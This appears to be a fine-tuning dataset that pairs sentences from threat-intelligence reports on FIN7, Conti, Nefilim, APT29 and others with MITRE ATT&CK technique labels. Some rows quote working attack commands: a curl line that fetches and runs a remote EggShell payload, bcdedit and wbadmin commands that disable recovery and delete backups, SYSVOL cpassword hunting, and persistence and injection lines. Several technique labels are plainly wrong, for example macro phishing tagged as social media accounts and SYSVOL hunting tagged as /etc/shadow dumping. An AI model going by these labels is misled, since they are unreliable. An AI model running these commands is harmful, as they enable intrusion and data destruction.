"BOATLAUNCH is a utility sent from FIN7 POWERPLANT controllers that is used as a helper module during intrusion operations. BOATLAUNCH is used to patch PowerShell processes on infected systems to bypass Windows AntiMalware Scan Interface (AMSI). The malware loops, looking for unpatched PowerShell processes, and for each unpatched process the malware locates and patches amsi.dll!AmsiScanBuffer with a 5-byte instruction sequence to always return S_OK. The technique used to patch AMSI is a variation of publicly described common AMSI bypass techniques. Both 32bit and 64bit variants of BOATLAUNCH have been observed using the following export directory DLL names.",['T1055 - Process Injection'],fine_tune
Actors used the systeminfo command to look for details about the network configurations and settings and determine if the system was a VMware virtual machine. The threat actor used route print to display the entries in the local IP routing table.,['T1016 - System Network Configuration Discovery'],fine_tune
"Actors used the netstat command to display TCP connections, prevent hostname determination of foreign IP addresses, and specify the protocol for TCP.",['T1049 - System Network Connections Discovery'],fine_tune
Actors used the tasklist command to get information about running processes on a system and determine if the system was a VMware virtual machine. The actors used tasklist.exe and find.exe to display a list of applications and services with their PIDs for all tasks running,['T1057 - Process Discovery'],fine_tune
Actors used the ipconfig command to get detailed information about the operating system and hardware and determine if the system was a VMware virtual machine,['T1082 - System Information Discovery'],fine_tune
Actors enumerated files and directories or may search in specific locations of a host or network share for certain information within a file system.,['T1083 - File and Directory Discovery'],fine_tune
"Actors likely used net share command to display information about shared resources on the local computer and decide which directories to exploit, the powershell dir command to map shared drives to a specified path and retrieve items from another, and the ntfsinfo command to search network shares on computers they have compromised to find files of interest. The actors used dir.exe to display a list of a directory's files and subdirectories matching a certain text string.",['T1039 - Data from Network Shared Drive'],fine_tune
The actors split collected files into approximately 3 MB chunks located on the Exchange server within the CU2\he\debug directory.,['T1074.002 - Remote Data Staging'],fine_tune
Conti ransomware deletes Windows Volume Shadow Copies using vssadmin.,['T1490 - Inhibit System Recovery'],fine_tune
"Conti ransomware stops up to 146 Windows services related to security, backup, database, and email solutions through the use of net stop.",['T1489 - Service Stop'],fine_tune
Conti ransomware can spread itself by infecting other remote machines via network shared drives.,['T1080 - Taint Shared Content'],fine_tune
"Conti ransomware can retrieve the ARP cache from the local system by using the GetIpNetTable() API call and check to ensure IP addresses it connects to are for local, non-internet systems.",['T1016 - System Network Configuration Discovery'],fine_tune
"Using mavinject.exe (Microsoft Application Virtualization Injector), it does code injection into explorer.exe with its payload DriverGFY.db. The technique the attacker is using here is Process Injection in the Mitre ATT&CK Framework. The command executed at runtime for doing code injection is shown below: C:\Windows\System32\cmd.exe"" /c mavinject.exe 568 /injectrunning c:\Drivers\DriverGFY.db""",['T1218.013 - Mavinject'],fine_tune
"The script queries WMI to list all the explorer.exe processes, where it will try to inject the malicious payload. For the injection, the attackers used Mavinject (a legitimate Windows component that can be used and abused) to perform arbitrary code injections inside any running process. Mavinject.exe has been abused for several years, as indicated in this blog from 2017.",['T1218.013 - Mavinject'],fine_tune
"Raspberry Robin leverages rundll32.exe followed by shell32.dll and calls the ShellExec_RunDLL or ShellExec_RunDLLA functions to execute the DLL via the processes such as odbcconf.exe, msiexec.exe and control.exe.","['T1218.008 - Signed Binary Proxy Execution: Odbcconf', 'T1218.007 - Signed Binary Proxy Execution: Msiexec', 'T1218.002 - Signed Binary Proxy Execution: Control Panel', 'T1218.011 - Signed Binary Proxy Execution: Rundll32']",fine_tune
"Compiled HTML File (CHM) are commonly Microsoft help files. These file will be a compiled HTML files that includes documents , image , scripts etc. Hackers will abuse these files to embed malicious payload with CHM files. CHM files can be executed by HH.exe , which is a Microsoft windows utility. Adversaries use this techniques to evade AV or application blacklisting techniques.",['T1218 - Signed Binary Proxy Execution'],fine_tune
"When users run the malicious CHM file, the HTM file’s code is executed. The script decompiles the CHM file through hh.exe and runs LBTWiz32.exe. It then creates a normal image file (KBSI_SNS_003.jpg) on the PC screen, making it difficult for users to recognize malicious behaviors.",['T1218 - Signed Binary Proxy Execution'],fine_tune
"LBTWiz32.exe that is run is a normal program. However, the malicious DLL (LBTServ.dll) created on the same path through DLL hijacking is loaded and starts operating. The malicious DLL creates and executes a malicious VBE file (ReVBShell) in the %TEMP% folder. Figures 2 to 4 show parts of the decoded VBE code.",['T1574 - Hijack Execution Flow'],fine_tune
"Mimikatz creates a new server and nTDSDSA objects in the Active Directory forest Configuration partition. Next, it updates the SPN (Service Principal Name) of the computer hosting the rogue domain controller to “GC” (Global Catalog) and “E3514235-4B06-11D1-AB04-00C04FC2DCD2” (Active Directory Replication). The rogue domain controller is now registered and capable of replicating data to other domain controllers.",['T1207 - Rogue Domain Controller'],fine_tune
"this is a late-stage kill chain attack that allows a threat actor with admin (domain or enterprise admin) credentials to leverage the replication mechanism in AD to register a rogue domain controller in order to inject backdoor changes to an AD domain. With that rogue DC, the attacker can manipulate AD data, including objects, and schemas.",['T1207 - Rogue Domain Controller'],fine_tune
"With DCShadow, attackers no longer have to replicate data, but can register new domain controllers in the targeted infrastructure to inject backdoor changes in AD objects, or alter existing ones by replacing the attributes’ values.",['T1207 - Rogue Domain Controller'],fine_tune
"If an attacker has domain admin permissions, he can steal the DC backup key and as a result, decrypt all the domain users’ master keys. The Mimikatz module allowing to extract the domain backup key is lsadump::backupkeys. This module first calls the API functions LsaOpenPolicy with POLICY_GET_PRIVATE_INFORMATION as the DesiredAccess argument, so it will be able to call the function LsaRetrievePrivateData after-",['T1207 - Rogue Domain Controller'],fine_tune
The Nefilim ransomware creates a new wermgr.exe (the Windows error reporting manager) process and injects its payload to evade process-based defenses.,['T1055 - Process Injection'],fine_tune
"Nefilim uses WerFault.exe and wermgr.exe for DLL Side Loading, a defense evasion technique used by adversaries to execute malicious payloads by hijacking the library manifest used to load DLLs. Werfault.exe is the Windows Error Reporting binary used by many different programs to report errors.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Nefilim uses the following  ‘timeout’ command to delay the execution of the ‘del’ command. Adversaries use this command also to evade sandbox analysis. C:\Windows\System32\cmd.exe"" /c timeout /t 3 /nobreak""",['T1497.003 - Time Based Evasion'],fine_tune
"The Nefilim ransomware uses IsDebuggerPresent, CheckRemoteDebuggerPresent, and NtQueryInformationProcess API functions to check if a user-mode debugger is running. Debuggers are used by security analysts to inspect malware’s behavior at the run-time. In the presence of a debugger,  malware samples exhibited less malicious behavior. Moreover, Nefilim uses the NtSetInformationThread API function to evade debugging.",['T1518.001 - Software Discovery: Security Software Discovery'],fine_tune
Nefilim reads the hosts file (C:\Windows\System32\drivers\etc\hosts) to get a listing of other systems by IP addresses and hostnames on the network that may be used for Lateral Movement from the current system.,['T1018 - Remote System Discovery'],fine_tune
"The Nefilim ransomware downloads the Psexec.exe tool, and it also abuses the Windows built-in WMI (Windows Management Instrumentation) utility for lateral movement. PsExec is a free Microsoft tool that can be used to execute commands and binaries on remote systems and download or upload a file over a network share. Nefilim uses PsExec and WMI with hard-coded admin credentials to remotely execute the batch files and the ransomware file in remote hosts.",['T1570 - Lateral Tool Transfer'],fine_tune
The Nefilim ransomware creates a DirectInput object using the DirectDrawCreateEx function to capture keystrokes. Keylogging is both a Credential Access and Collection tactic.,['T1056.001 - Input Capture: Keylogging'],fine_tune
"Like other ransomware threats, Nefilim encrypts files on the target system using AES-128 and adds NEFILIM, NEPHILIM, MERIN, TRAPGET, MEFILIN, TELEGRAM, SIGARETA, or OFFWHITE  extension to encrypted files. It uses an RSA-2048 public key embedded in the ransomware executable to encrypt the AES encryption key. It also adds a file that includes the ransom note to the root directory, such as C:\NEFILIM-DECRYPT.txt.",['T1486 - Data Encrypted for Impact'],fine_tune
Deleting volume shadow copies is very typical behavior of ransomware. The Nefilim ransomware uses WMIC with the following command to delete all volume shadow copies on the system to prevent recovery. WMIC  is a command-line utility to access WMI.,['T1490 - Inhibit System Recovery'],fine_tune
"Nefilim also uses bcdedit.exe twice to disable automatic Windows recovery features by modifying boot configuration data. bcdedit /set {default} recoveryenabled No bcdedit /set {default} bootstatuspolicy ignoreallfailures Moreover, the Nefilim ransomware uses wbadmin to delete the backup catalog: wbadmin delete catalog -quiet",['T1490 - Inhibit System Recovery'],fine_tune
Mandiant assesses with moderate confidence that the threat actor obtained the session token from the operators of the info-stealer malware. These tokens were used by the actor via public VPN providers to authenticate to the target’s Microsoft 365 environment.,['T1550.004 - Web Session Cookie'],fine_tune
To authenticate to vCenter the threat actor used a stolen session cookie for a Privileged Access Management (PAM) account.,['T1550.004 - Web Session Cookie'],fine_tune
"In a particular campaign, Mandiant identified that the threat actor performed initial reconnaissance via a VPS provider located in the same region as the victim. Mandiant believes a misconfiguration by the threat actor meant that the VPN services running on the VPS stopped functioning after 8 hours.",['T1583.003 - Virtual Private Server'],fine_tune
APT41 used a malware variant called WIDETONE to conduct port scans on the specified subnets.,['T1046 - Network Service Discovery'],fine_tune
Figure 7 shows how DCRat collects the public IP address from the compromised host by accessing the IP web service named as “https[:]//ipinfo[.]io/json”.,['T1590.005 - IP Addresses'],fine_tune
DCRat will also drop a .bat file containing a script that runs the W32tm “stripchart” command on the compromised host. This command is used as a delay tactic for its execution and beaconing.,['T1124 - System Time Discovery'],fine_tune
The following analytic detects a powershell script that enumerates the camera mounted to the targeted host.,['T1592.001 - Gather Victim Host Information: Hardware'],fine_tune
The malware creates a shortcut %APPDATA%\dotNET.lnk pointing to the copy of the malware under %APPDATA%.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],fine_tune
We detect the attachment file as W97M/Adnel or MHT/Dloader. This macro malware is usually attached in the spam emails as .doc files. It uses social engineering tricks to be able to run the malicious macro script that is disabled by default in Microsoft Office.,['T1586.001 - Social Media Accounts'],fine_tune
"APT32 is widely known to use such social engineering techniques to trick a user into enabling macros, after which a file downloads multiple malicious payloads from remote servers.",['T1586.001 - Social Media Accounts'],fine_tune
"We observed that the InstallUtil.exe process was being created in suspended mode. Once it started execution, we compared its memory artifacts to a benign execution of InstallUtil.exe and concluded that the malicious payload is being injected into the memory of the newly spawned InstallUtil.exe process. We also observed that no arguments are passed to InstallUtil, which would cause an error under normal execution since InstallUtil always expects at least one argument.",['T1218.004 - Signed Binary Proxy Execution: InstallUtil'],fine_tune
"Version.dll and jucheck.exe are both important pieces of the execution chain used to launch BOOMMIC. Jucheck.exe is a legitimate java binary used to check for any updates. This file will load version.dll upon its execution. Version.dll is an unsigned and modified copy of a signed legitimate Windows DLL, normally found under %SYSTEMROOT%\System32, but retains its PE header. An additional import was added to the modified version.dll, which imports the malicious function from javafx_font.dll.",['T1574.002 - Hijack Execution Flow: DLL Side-Loading'],fine_tune
"Prior to executing BOOMMIC APT29 was observed creating persistence via a registry key for “Java Update” that would execute jucheck.exe from the directory that contained version.dll and the BOOMMIC payload. Figure 19: BOOMMIC Persistence reg  add HKCU\software\Microsoft\Windows\CurrentVersion\Run"" /v ""Java Update"" /t REG_SZ /d ""c:\users\<redacted>\appdata\local\Java\jucheck.exe""""","['T1112 - Modify Registry', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences. Passwords stored in this way are encrypted using a known scheme that can easily be decrypted. APT29 GPP password datamining C:\WINDOWS\system32\cmd.exe /C findstr /S /I cpassword \\DOMAIN\sysvol\DOMAIN\policies\*.xml,"['T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow']",fine_tune
One notable TTP observed by APT29 was the hunting for passwords stored in SYSVOL. This technique relies on passwords that are stored as part of Group Policy Preferences.,['T1552.006 - Unsecured Credentials: Group Policy Preferences'],fine_tune
"Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, this will load and execute the DLL/EXE in to memory without writing any files to disk.",['T1620 - Reflective Code Loading'],fine_tune
"Attackers modified the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file.",['T1553 - Subvert Trust Controls'],fine_tune
"A threat actor can craft a malicious file that would evade Mark of the Web (MOTW) defenses, resulting in a limited loss of integrity and availability of security features, which rely on MOTW tagging – for example, ‘Protected View’ in Microsoft Office. This zero-day has a moderate CVSS risk score of 5.4, because it only helps to avoid the Microsoft Defender SmartScreen defense mechanism, which has no RCE or DoS functionality.",['T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass'],fine_tune
Figure 9: Call to DeleteFileW to remove the :Zone.Identifier Flag from the dropped copy.,['T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass'],fine_tune
"CVE-2022-42821 allows hackers to bypass Gatekeeper by setting restrictive Access Control Lists (ACLs) using specially-crafted payloads that prohibit Safari, web downloaders or any other program through which an app is downloaded from setting com.apple.quarantine attribute to the downloaded file/application/software.",['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],fine_tune
"The app executes the following shell command to download a custom-compiled version of the EggShell server for macOS: nohup curl -k -L -o /tmp/.info.enc https://github.com/youarenick/newProject/raw/master/info.enc; openssl enc -aes-256-cbc -d -in /tmp/.info.enc -out /tmp/.info.py -k 111111qq; python /tmp/.info.py The first part of the command downloads an encoded file from a Github page belonging to a user named youarenick"" and saves that file to a hidden file named .info.enc in /private/tmp/. Next, it uses openssl to decode that file into a hidden Python file named .info.py. Finally, it executes the resulting Python script.""",['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],fine_tune
"To summarize, the Mach-O does the following: Downloads a file from the URL supplied as an argument Decrypts this file using AES-128-EBC and TEA with a custom delta Writes the resulting file to $TMPDIR/airportpaird and makes it executable Uses the privilege escalation exploit to remove the com.apple.quarantineattribute from the file to avoid asking the user to confirm the launch of the unsigned executable",['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],fine_tune
"copy %~dp0%DLL_NAME%"" ""%WORK_DIR%"" /Y reg add ""HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"" /v ""%SERVICE_NAME%"" /t REG_MULTI_SZ /d ""%SERVICE_NAME%"" /f sc create ""%SERVICE_NAME%"" binPath= ""%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%"" type= share start= auto error= ignore DisplayName= ""%DISPLAY_NAME%"" SC failure ""%SERVICE_NAME%"" reset= 86400 actions=""",['T1055 - Process Injection'],fine_tune
"The loaded assembly, obfuscated with an Agile.NET obfuscator, hollows a legitimate MSBuild.exe process and replaces it with its payload: the hex-encoded Panda Stealer binary from another paste.ee URL.",['T1055.012 - Process Injection: Process Hollowing'],fine_tune
"Carbanak also performs techniques for disabling security tools, deleting files that are left in malicious activity, and modifying registry to hide configuration information.","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1070.004 - Indicator Removal on Host: File Deletion', 'T1112 - Modify Registry']",fine_tune
Carbanak also performs brute force tactics or takes advantage of credentials that are saved in web browsers.,['T1110 - Brute Force'],fine_tune
BAT files were used to download and execute the Cring ransomware on the other systems in the compromised network. It also uses the Windows CertUtil program to help with the said download.,['T1105 - Ingress Tool Transfer'],fine_tune
"The ransomware can also get into the system through certain vulnerability exploits.. The abuse of the aforementioned Adobe ColdFusion flaw (CVE-2010-2861) to enter the system is a new development for the threat. In the past, Cring was also used to exploit a FortiGate VPN server vulnerability (CVE-2018-13379).","['T1203 - Exploitation for Client Execution', 'T1588.006 - Vulnerabilities', 'T1587.004 - Exploits', 'T1499.004 - Application or System Exploitation', 'T1190 - Exploit Public-Facing Application', 'T1210 - Exploitation of Remote Services', 'T1588.005 - Exploits']",fine_tune
"Lateral movement was done through Cobalt Strike. This tool was also used to distribute BAT files that will be used later for various purposes, including impairing the system’s defenses.","['T1588.002 - Tool', 'T1562 - Impair Defenses', 'T1570 - Lateral Tool Transfer']",fine_tune
"Monero miner scripts are downloaded from TeamTNT’s server and piped to “bash” using a SSH session on the underlying host as the “root” user by supplying the private key from “/tmp/TeamTNT.” Later, the private key “/tmp/TeamTNT” is removed as well.","['T1098.004 - SSH Authorized Keys', 'T1195 - Supply Chain Compromise', 'T1588.002 - Tool', 'T1059.004 - Command and Scripting Interpreter: Bash', 'T1021.004 - Remote Services: SSH', 'T1552.004 - Unsecured Credentials: Private Keys', 'T1588.001 - Malware']",fine_tune
"the filename changed from tru.dll to kibuyuink.exe, even though it remained a DLL and still required regsvr32.exe to run. Changing the filename extension is a common tactic seen in various malware infections.","['T1587.001 - Malware', 'T1546.001 - Event Triggered Execution: Change Default File Association']",fine_tune
"The C&C domain android[.]viral91[.]xyz, where the malware was connecting to also shows that it is very likely that the APT team uses subdomains to host or connect to Android malware. In previous years, some CrimsonRAT samples were also found to be hosted on the viral91[.]xyz domain.","['T1584.001 - Domains', 'T1583.001 - Domains', 'T1587.001 - Malware', 'T1588.001 - Malware']",fine_tune
"In one instance, FIN13 deployed a backdoor called MAILSLOT, which communicates over SMTP/POP over SSL, sending and receiving emails to and from a configured attacker-controlled email account for its command and control. MAILSLOT makes FIN13 a rare case of a threat actor who has used email communications for C2.",['T1102.003 - One-Way Communication'],fine_tune
"In this intrusion from December 2021, the threat actors utilized IcedID as the initial access vector. IcedID is a banking trojan that first appeared in 2017, usually, it is delivered via malspam campaigns and has been widely used as an initial access vector in multiple ransomware intrusions. Upon execution of… .",['T1219 - Remote Access Software'],fine_tune
"The cheat sheet is separated into several sections, based on the purpose of the example commands. Fortunately, the commands listed in the cheat sheet provides us with a great deal of insight into some of the tools and techniques the actors will possibly use after compromising the end system. The cheat sheet shows significant batch and PowerShell scripting and a preference for using RDP, as well as the following tools not provided natively in Windows (i.e. thc-hydra, Plink, Mimikatz, Powercat, ProcDump, SharpHound/BloodHound and PowerSploit). Table 1 shows the headers and a description of each section within the cheat sheet.","['T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Emotet occasionally takes a break from delivering malicious emails. Emotet's longest absence from the threat landscape occurred in early February 2020 and lasted more than five months. Emotet resumed operations in mid-July 2020, and it quickly surpassed other threats in sheer volume of malicious spam.","['T1098.002 - Account Manipulation: Additional Email Delegate Permissions', 'T1566 - Phishing']",fine_tune
"When issuing a beacon to its C2, PingPull will send an Echo Request packet to the C2 server with total and current set to 0 and will include no encoded and encrypted data, as seen in Figure 1.","['T1132 - Data Encoding', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"Mettle: A malicious campaign based on IP addresses in Vietnam (C2 210.245.26.180:4441, scanner 118.70.80.143) and mettle open source control module.. Hajime: This round of update from Hajime also includes GPON exploits.. Two Mirai variants: At least two malicious campaigns are actively exploiting this vulnerability to propagate mirai variants. The second one is already known as Omni.. Imgay: This looks like a botnet under development. We only observe its download behavior and no more follow-up actions.","['T1588.006 - Vulnerabilities', 'T1587.004 - Exploits', 'T1203 - Exploitation for Client Execution', 'T1595.002 - Vulnerability Scanning']",fine_tune
CVE-2015-1197 is a directory traversal vulnerability: extracting specially crafted archives containing symbolic links can cause files to be placed at an arbitrary location in the file system.,['T1083 - File and Directory Discovery'],fine_tune
"The ransomware payload is copied to the ADMIN$ share of a remote system, and Impacket is used to remotely invoke an encoded PowerShell command on target systems to execute the payload","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1570 - Lateral Tool Transfer']",fine_tune
Attempts to dump the contents of /etc/passwd and /etc/shadow to enable offline password cracking.,"['T1003.008 - OS Credential Dumping: /etc/passwd, /etc/master.passwd and /etc/shadow', 'T1110.002 - Brute Force: Password Cracking']",fine_tune
"Five minutes after the automated reconnaissance activities are completed, the QAKBOT-injected wermgr.exe process drops the Brute Ratel DLL and invokes it via a rundll32.exe child process with the “main” export function.",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],fine_tune
"Unit 42 has been tracking an APT campaign we name TiltedTemple, which we first identified in connection with its use of the Zoho ManageEngine ADSelfService Plus vulnerability CVE-2021-40539 and ServiceDesk Plus vulnerability CVE-2021-44077.",['T1588.006 - Vulnerabilities'],fine_tune
"Vidar is an info-stealer. It downloads DLL files freebl3.dll, mozglue.dll, msvcp140.dll, nss3.dll, softokn3.dll and vcruntime140.dll from its C&C for use in password-grabbing routines.",['T1588.001 - Malware'],fine_tune
"DanaBot is a modular malware that includes various additional modules; the most popular functionalities of these modules are stealing information from compromised machines and injecting fake forms into popular ecommerce and social media sites to collect payment data. It can also provide full access to infected systems with remote desktop, or mouse and keyboard access by utilizing a VNC plugin.","['T1021.005 - Remote Services:VNC', 'T1592 - Gather Victim Host Information']",fine_tune
QAKBOT can use Regsvr32 to execute malicious DLLs,"['T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1588.002 - Tool']",fine_tune
LockBit 2.0 has been seen utilizing numerous tools to dump passwords from password stores and Chrome using GrabChrome and GrabRFF.,"['T1555 - Credentials from Password Stores', 'T1555 - Credentials from Password Stores']",fine_tune
"Adds registry run keys to achieve persistence. In some cases, we observed using the following command:start cmd.exe /k runonce.exe /AlternateShellStartup",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],fine_tune
"Further reconnaissance is performed in the environment to identify privileged users. First, the built-in net.exe and nltest.exe are used.",['T1033 - System Owner/User Discovery'],fine_tune
"Volexity reported yesterday that its analysts had identified approximately 1,600 ZCS servers that they believe were compromised by threat actors leveraging CVE-2022-41352 to plant webshells",['T1588.006 - Vulnerabilities'],fine_tune
PrivateLoader is yet another example of a Pay-Per-Install malicious loader like LgoogLoader and SmokeLoader. It uses a single-byte XOR encryption key to receive URLs from the control center.,['T1587.001 - Malware'],fine_tune
"MedusaLocker is a ransomware family that was first seen in the wild in early October 2019. In January 2020, a fork of MedusaLocker named Ako was observed, which has been updated to support the use of a Tor hidden service to facilitate a RaaS model. Operators of the Ako version of the malware have since implemented a DLS (Figure 12). At least nine victims have been published to the site since its inception.",['T1588.001 - Malware'],fine_tune
"However, the program turned out not to be a Gpcode variant. This new version of Bancos.aam turned out to be the first Trojan spy program designed to steal data from users of the Russian QUIK system. ",['T1587.001 - Malware'],fine_tune
"On Tuesday, Jan. 11, 2022, Emotet resumed spamming after its holiday break. The emails continued with links to fake complaint pages, and the pages were sometimes customized to include the recipient’s name. This method was prevalent until Jan. 20.","['T1566.002 - Phishing: Spearphishing Link', 'T1566.002 - Phishing: Spearphishing Link']",fine_tune
"NotPetya has the capability to exploit SMBv1 via the well known EternalBlue exploit. Once the exploit is launched, the shellcode will end up writing the file and executing the malware on the target machine.",['T1203 - Exploitation for Client Execution'],fine_tune
"CVE-2018-4878 was the second most commonly observed vulnerability and is the only Adobe Flash Player vulnerability on this year’s top 10. Like CVE-2018-8174, this vulnerability was included in multiple exploit kits, most notably the Fallout exploit kit, which was used to distribute GandCrab ransomware. Fallout took its name and URI patterns from the now defunct Nuclear exploit kit, which had been associated with CVE-2015-7645, one of 2016’s top 10 vulnerabilities. In 2018, Fallout was last selling for $300 a week and $1,100 a month, as seen below.","['T1203 - Exploitation for Client Execution', 'T1588.005 - Exploits']",fine_tune
"In early February 2018, FireEye iSIGHT Intelligence observed Dridex botnet ID 2040 download a Monero cryptocurrency miner based on the open-source XMRig miner.. On Feb. 12, 2018, FireEye iSIGHT Intelligence observed the banking malware IcedID injecting Monero-mining JavaScript into webpages for specific, targeted URLs. The IcedID injects launched an anonymous miner using the mining code from Coinhive's AuthedMine.. In late 2017, Bleeping Computer reported that security researchers with Radware observed the hacking group CodeFork leveraging the popular downloader Andromeda (aka Gamarue) to distribute a miner module to their existing botnets.. In late 2017, FireEye researchers observed Trickbot operators deploy a new module named ""testWormDLL"" that is a statically compiled copy of the popular XMRig Monero miner.. On Aug. 29, 2017, Security Week reported on a variant of the popular Neutrino banking Trojan, including a Monero miner module. According to their reporting, the new variant no longer aims at stealing bank card data, but instead is limited to downloading and executing modules from a remote server.",['T1588.001 - Malware'],fine_tune
"Enabling the macros starts a multi-stage infection chain that eventually downloads and executes a Cobalt Strike beacon, providing the attackers with a foothold inside the target organization.",['T1588.002 - Tool'],fine_tune
"Kaspersky Lab detections for Blue, Black, and Green Lamberts have been triggered by a relatively small set of victims from around the world.  While investigating one of these infections involving White Lambert (network-driven implant) and Blue Lambert (active implant), we found yet another family of tools that appear to be related.  We called this new family ‘Pink Lambert’.",['T1587.001 - Malware'],fine_tune
"In most cases, UNC2165 has stolen data from its victims to use as leverage for extortion after it has deployed ransomware across an environment. In intrusions where the data exfiltration method could be identified, there is evidence to suggest the group used either Rclone or MEGASync to transfer data from the victims' environments prior to encryption. The Rclone utility is used by many financially motivated actors to synchronize sensitive files with cloud storage providers, and MEGASync synchronizes data to the MEGA cloud hosting service.",['T1537 - Transfer Data to Cloud Account'],fine_tune
"The Ryuk group went from an email to domain wide ransomware in 29 hours and asked for over $6 million to unlock our systems. They used tools such as Cobalt Strike, AdFind, WMI, vsftpd, PowerShell, PowerView, and Rubeus to accomplish their objective.","['T1588.002 - Tool', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.",['T1203 - Exploitation for Client Execution'],fine_tune
Uploads a file on the victim’s computer to the C&C server,['T1041 - Exfiltration Over C2 Channel'],fine_tune
Uses Mimikatz to harvest credentials.,"['T1003.001 - OS Credential Dumping: LSASS Memory', 'T1003.001 - OS Credential Dumping: LSASS Memory']",fine_tune
"Prior to encryption, the ransomware will check if the directory is in the root path and avoids the following files and directories",['T1083 - File and Directory Discovery'],fine_tune
Enumerates remote open SMB network shares,['T1135 - Network Share Discovery'],fine_tune
Uses legitimate VPN or Citrix credentials to maintain access to an environment.,['T1133 - External Remote Services'],fine_tune
"Uses tools such as PDQ Inventory scanner, Advanced Port Scanner and netscan (which also scanned for the ProxyShell vulnerability).",['T1046 - Network Service Discovery'],fine_tune
"The group abuses common cloud services such as Dropbox, OneDrive, and Mega for C&C communications (receive commands and exfiltrate data).",['T1136.003 - Create Account: Cloud Account'],fine_tune
"Instead of more traditional malware like a Windows executable (.exe) or Dynamic Link Library (.dll), the malware authors used a browser extension as their final payload",['T1176 - Browser Extensions'],fine_tune
Uses 7-Zip to compress stolen data for exfiltration.,['T1560.001 - Archive Collected Data: Archive via Utility'],fine_tune
Stolen digital certificate re-use,['T1588.004 - Digital Certificates'],fine_tune
"FormatLoader’s main purpose is to infect the machine with an additional malicious file by downloading the binary to the compromised machine. To do so, the malware adds digits from the hardcoded range one by one to the hardcoded format strings, and accesses the download links.",['T1105 - Ingress Tool Transfer'],fine_tune
"In its new attack, the actor initiated the infection chain sending a spear-phishing email containing a macro-embedded Word document.",['T1566.001 - Phishing: Spearphishing Attachment'],fine_tune
Exploits Print Nightmare vulnerability.,['T1068 - Exploitation for Privilege Escalation'],fine_tune
"Even more, this tiny bootkit with a size of only 80 kb on disk after installation can disable built-in Windows security protection such as Hypervisor-Protected Code Integrity (HVCI) and Windows Defender and bypass User Account Control (UAC).",['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],fine_tune
Most PowerShell scripts involved in LockBit 2.0 cases are Base64 encoded.,['T1140 - Deobfuscate/Decode Files or Information'],fine_tune
"Although Cobalt Strike has many capabilities beneficial to threat actors in ransomware attacks, it was mainly seen in LockBit 2.0 investigations acting as a command and control beacon, a method of lateral movement and a tool for downloading/executing files.",['T1021 - Remote Services'],fine_tune
BlackMatter harvests credentials from Local Security Authority Subsystem Service (LSASS) memory using procmon.,['T1003.001 - OS Credential Dumping: LSASS Memory'],fine_tune
Chinese state-sponsored cyber actors have been observed gaining access to victim networks through watering hole campaigns of typo-squatted domains.,['T1189 - Drive-by Compromise'],fine_tune
"Chinese state-sponsored cyber actors have been observed:  Using cmd.exe, JavaScript/Jscript Interpreter, and network device command line interpreters (CLI).  Using PowerShell to conduct reconnaissance, enumeration, and discovery of the victim network.  Employing Python scripts to exploit vulnerable servers.  Using a UNIX shell in order to conduct discovery, enumeration, and lateral movement on Linux® servers in the victim network.","['T1059.001 - Command and Scripting Interpreter: PowerShell', 'T1059.003 - Command and Scripting Interpreter: Windows Command Shell', 'T1059.004 - Command and Scripting Interpreter: Bash', 'T1059.006 - Command and Scripting Interpreter: Python', 'T1059.007 - Command and Scripting Interpreter: JavaScript', 'T1059.008 - Network Device CLI']",fine_tune
"Chinese state-sponsored cyber actors have been observed deleting files using rm or del commands. Several files that the cyber actors target would be timestomped, in order to show different times compared to when those files were created/used.",['T1070 - Indicator Removal on Host'],fine_tune
"Chinese state-sponsored cyber actors have been observed using commands, including tasklist, jobs, ps, or taskmgr, to reveal the running processes on victim devices.",['T1057 - Process Discovery'],fine_tune
Chinese state-sponsored cyber actors used RDP and execute rdpclip.exe to exfiltrate information from the clipboard.,['T1115 - Clipboard Data'],fine_tune
Chinese state-sponsored cyber actors have been observed importing tools from GitHub or infected domains to victim networks. In some instances. Chinese statesponsored cyber actors used the Server Message Block (SMB) protocol to import tools into victim networks.,['T1105 - Ingress Tool Transfer'],fine_tune
Chinese state-sponsored cyber actors have been observed using tools like dog-tunnel and dns2tcp.exe to conceal C2 traffic with existing network activity.,['T1572 - Protocol Tunneling'],fine_tune
